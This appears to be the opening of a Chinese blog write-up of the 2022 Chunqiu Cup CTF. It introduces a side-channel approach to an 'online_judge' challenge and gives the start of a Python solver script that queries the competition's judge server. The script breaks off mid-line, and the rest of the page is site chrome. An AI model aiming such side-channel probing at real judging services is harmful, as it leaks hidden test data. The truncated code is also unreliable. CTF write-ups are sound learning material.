【WP】2022 春秋杯 Write Up

【WP】2022春秋杯

前言

本次春秋杯是个人赛,打的很捞,但是有许多有趣的题目,学到了一些新东西

最终是解了4+1的题目,一个问卷就不算了。最终排位23。

image-20221227185947636

Pwn

online_judge

虽然叫作pwn,但是我感觉是web。。

使用侧信道攻击,因为oj的测试用例只有一个3,所以可以用这个3来进行碰撞,脚本如下:

import requests, time

host, port = "47.104.129.38", 10101
base_url = f"http://{
     host}:{
     port}"
token_url = f"{
     base_url}/getToken"
judge_url = f"{
     base_url}/judge"


def getToken():
    result = requests.post(token_url).json()
    # print(result)
    assert not result["error"], "System error"
    return result["data"]["token"]


def judge(chall: str, src: str, language: str = "C"):
    data = {
   
        "src": src,
        "language": language,
        "action": chall,
        "token": token,
    }
    result = requests.post(judge_url, json=data).json()
    # print(result)
    time.sleep(0.5)
    return result['data'] == 'SUCCESS'


token = getToken()
print<
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值